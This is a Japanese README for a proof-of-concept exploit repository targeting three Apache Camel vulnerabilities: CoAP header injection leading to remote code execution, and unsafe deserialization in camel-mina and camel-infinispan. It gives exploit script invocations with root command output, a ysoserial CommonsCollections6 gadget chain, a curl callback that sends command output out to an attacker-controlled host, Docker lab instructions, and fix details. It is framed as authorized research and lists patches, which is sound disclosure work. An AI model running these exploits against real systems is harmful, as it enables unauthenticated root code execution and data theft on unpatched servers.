
Apache Camel の3つの重大な脆弱性に対する実証済みの概念実証エクスプロイトと詳細な分析を提供します。これには、CoAPヘッダーインジェクションや、リモートコード実行につながる安全でないデシリアライゼーションが含まれます。
| CVE | コンポーネント | タイプ | CVSS | 判定 |
|---|
| CVE-2026-33453 | camel-coap | ヘッダーインジェクション → RCE | 10.0 Critical | 悪用可能 |
| CVE-2026-40473 | camel-mina | 安全でないデシリアライゼーション → RCE | 9.8 Critical | 悪用可能 |
| CVE-2026-40858 | camel-infinispan | 安全でないデシリアライゼーション | 8.8 High | 悪用可能 |
コンポーネント: camel-coap — CamelCoapResource.java:103-109
CWE: CWE-915 (オブジェクト属性の不適切に制御された変更)
修正バージョン: Camel 4.18.1 / 4.14.6
CamelCoapResource.handleRequest() は、CoAP URI クエリパラメータを HeaderFilterStrategy なしで setHeader() 経由で Camel Exchange ヘッダーに直接マッピングします。CoAPEndpoint は DefaultHeaderFilterStrategyEndpoint ではなく DefaultEndpoint を拡張しているため、認証されていないクライアントによって内部の Camel* プレフィックス付きヘッダーが注入される可能性があります。
ルートが camel-exec に転送されると、攻撃者が制御する CamelExecCommandExecutable および CamelExecCommandArgs ヘッダーが設定されたコマンドを上書きし、単一の UDP パケットによる事前認証 RCE を達成します。
// CamelCoapResource.java:103-109 — HeaderFilterStrategy なし
for (String s : options.getUriQuery()) {
int i = s.indexOf('=');
if (i == -1) {
camelExchange.getIn().setHeader(s, "");
} else {
camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1));
}
}

$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'cat /etc/hostname'
[+] Response: 2.05
[+] Command output: cf6ee154412e
$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'ls /'
[+] Command output: app bin boot dev etc home lib ...
コンポーネント: camel-mina — MinaConverter.java:60-63
CWE: CWE-502 (信頼されないデータのデシリアライゼーション)
修正バージョン: Camel 4.18.2 / 4.14.6 / 4.20.0
MinaConverter.toObjectInput(IoBuffer) は、ObjectInputFilter を使用せずに生の java.io.ObjectInputStream を作成します。MINA エンドポイントが allowDefaultCodec=false で設定されている場合、生の TCP データは IoBuffer として到着し、Camel の型コンバーターに到達します。この型コンバーターは、攻撃者が制御するネットワークバイトをフィルタリングされていない ObjectInputStream でラップするこのメソッドを呼び出します。
// MinaConverter.java:60-63 — ObjectInputFilter なし
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
InputStream is = toInputStream(buffer);
return new ObjectInputStream(is); // 攻撃者が制御するバイト、フィルターなし
}
攻撃経路: このエクスプロイトは、allowDefaultCodec=false (PoC ではポート 9879) の MINA TCP エンドポイントを標的にします。これにより MINA のコーデック層が完全にバイパスされます — ObjectSerializationCodecFactory には、そうでなければ任意のクラスをブロックする独自の ClassNameMatcher 許可リストがあります。コーデックが無効になっていると、生のバイトは MinaConverter.toObjectInput() に直接流れ込み、クラスフィルタリングがゼロの標準の ObjectInputStream が作成されます。
CommonsCollections6 ガジェットチェーン (ysoserial 経由) により、root としての任意のコマンド実行が達成されます。コマンド出力は攻撃者への curl コールバックを介して外部に持ち出されます。

$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
[+] Command output:
uid=0(root) gid=0(root) groups=0(root)
[+] CONFIRMED: CVE-2026-40473 RCE — command executed via deserialization
$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
[+] Command output:
Linux 8b1462d5c89d 6.12.76-linuxkit #1 SMP Sun Mar 8 14:41:59 UTC 2026 aarch64 GNU/Linux
ysoserial-all.jar (CommonsCollections6 ガジェット)cd poc/
docker compose up -d --build
コンテナの起動を待ってから、以下を確認します:
docker logs vuln-camel-mina
以下のように表示されるはずです:

[*] Vulnerable MINA server started
[*] Port 9877: transferExchange (Java deser) endpoint
[*] Port 9878: Object serialization codec endpoint
[*] Port 9879: Raw TCP (MinaConverter.toObjectInput) endpoint
[*] Waiting for connections...
ポート 9879 が標的です — ここでは allowDefaultCodec=false が使用されており、MINA のコーデックフィルターが無効になり、生の IoBuffer が Camel のフィルタリングされていない MinaConverter.toObjectInput() に到達できるようになります。
まず、エンドポイントが ObjectInputFilter なしで任意の Java オブジェクトを受け入れてデシリアライズすることを確認します:
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 --probe

[*] Probe mode — confirming deserialization (no RCE)
[*] Payload: HashMap (82 bytes, raw — no MINA frame)
[+] Connected to MINA endpoint
[+] Payload sent
[+] Data reached readObject() with no filter rejection
プローブはシリアライズされた HashMap を送信します。サーバーは ObjectInputStream.readObject() 経由で InvalidClassException なしにデシリアライズします — クラスフィルタリングがゼロであることを確認します。
ysoserial が利用可能な状態で、フィルタリングされていないデシリアライゼーションを悪用して任意のコマンドを実行します:
# 'id' を実行 — uid=0(root) を返します
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
# ファイルの読み取り
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'cat /etc/hostname'
# システム情報
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
このエクスプロイトは CommonsCollections6 ガジェットチェーンを生成し、それを生のバイトとしてポート 9879 に送信し、curl コールバックリスナーを介してコマンド出力を取得します。
usage: exploit_cve_2026_40473_mina.py [-h] [--ysoserial PATH] [--callback-host HOST]
[--gadget GADGET] [--probe] [--raw]
target [port] [command]
target Target IP/hostname
port MINA TCP port (default: 9879)
command Command to execute (default: id)
--ysoserial Path to ysoserial.jar (auto-detected if not set)
--callback-host Host the container uses to reach you (default: host.docker.internal)
--gadget ysoserial gadget chain (default: auto — tries CC6, CC5, CC1)
--probe Probe mode only — confirm deserialization without RCE
--raw Send raw payload without MINA 4-byte frame (auto-enabled for port 9879)
注記: --callback-host はデフォルトで host.docker.internal (Docker Desktop) になります。Docker Desktop なしで Linux 上で実行する場合は、--callback-host 172.17.0.1 または Docker ブリッジ IP を使用してください。
cd poc/
docker compose down
コンポーネント: camel-infinispan — DefaultExchangeHolderUtils.java:46-53
CWE: CWE-502 (信頼されないデータのデシリアライゼーション)
修正バージョン: Camel 4.18.2 / 4.14.7 / 4.20.0
DefaultExchangeHolderUtils.deserialize(byte[]) は、ObjectInputFilter なしで ClassLoadingAwareObjectInputStream を作成します。DefaultExchangeHolderProtoAdapter は Infinispan キャッシュバイトをこのメソッドに直接ルーティングします。キャッシュ書き込みアクセス権 (Hot Rod ポート 11222 または REST API) を持つ攻撃者は、集約リポジトリがキーを取得する際にデシリアライズされる悪意のあるシリアライズペイロードを注入します。
これは CVE-2024-22369、CVE-2024-23114、CVE-2026-25747 と同じ脆弱性パターンです — Camel のデシリアライゼーションパスにおける ObjectInputFilter なしの readObject() の未修正インスタンスがすべてです。
// DefaultExchangeHolderUtils.java:46-53 — ObjectInputFilter なし
static DefaultExchangeHolder deserialize(byte[] bytes) {
try (ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais)) {
return (DefaultExchangeHolder) ois.readObject(); // 攻撃者が制御
}
}


cd poc/
docker compose up -d --build
これにより以下が起動します:
vuln-camel-coap — camel-exec ルートを備えた UDP ポート 5683 の CoAP エンドポイントvuln-camel-mina — ポート 9877 (transferExchange)、9878 (ObjectSerializationCodecFactory)、9879 (生の TCP — 主な攻撃標的) の MINA TCP エンドポイントinfinispan — ポート 11222 の Infinispan サーバーvuln-camel-infinispan — Infinispan をバックエンドとする Camel 集約リポジトリ# CVE-2026-33453: CoAP ヘッダーインジェクション → RCE
python3 poc/exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'id'
# CVE-2026-40473: MINA 安全でないデシリアライゼーション → RCE (詳細な手順は上記参照)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
# CVE-2026-40858: Infinispan 安全でないデシリアライゼーション
python3 poc/exploits/exploit_cve_2026_40858_infinispan.py 127.0.0.1 11222
cd poc/
docker compose down
この評価は RAPTOR 自律型セキュリティリサーチフレームワークを使用して実施されました:
camel-coap、camel-mina、camel-infinispan)/scan) — 3つのコンポーネントすべてにわたる自動脆弱性発見/understand --map) — 攻撃面マッピング: エントリーポイント、信頼境界、シンク、未チェックのデータフロー/validate) — 完全な8段階の悪用可能性検証パイプライン (ステージ 0 → A → B → C → D → E → F → 1) により、3つの発見すべてが実際に存在し、到達可能で、悪用可能であることを確認/exploit) — Docker ベースのテスト環境を使用した動作する PoC の開発| CVE | 修正バージョン | 変更内容 |
|---|---|---|
| CVE-2026-33453 | 4.18.1 / 4.14.6 | CoAPEndpoint → DefaultHeaderFilterStrategyEndpoint を拡張; CoAPComponent → HeaderFilterStrategyComponent を実装 |
| CVE-2026-40473 | 4.18.2 / 4.14.6 / 4.20.0 | readObject() の前に ObjectInputFilter.Config.createFilter("java.**;javax.**;org.apache.camel.**;!*") を追加 |
| CVE-2026-40858 | 4.18.2 / 4.14.7 / 4.20.0 | ObjectInputFilter 許可リストを追加 (同じパターン); 設定されている場合は JVM シリアルフィルターにフォールバック |
このリサーチは、許可されたセキュリティテストおよび教育目的のみを対象としています。すべてのエクスプロイトは、脆弱なソフトウェアを実行するローカルビルドの Docker コンテナに対してテストされました。上記の修正バージョンにアップグレードしてください。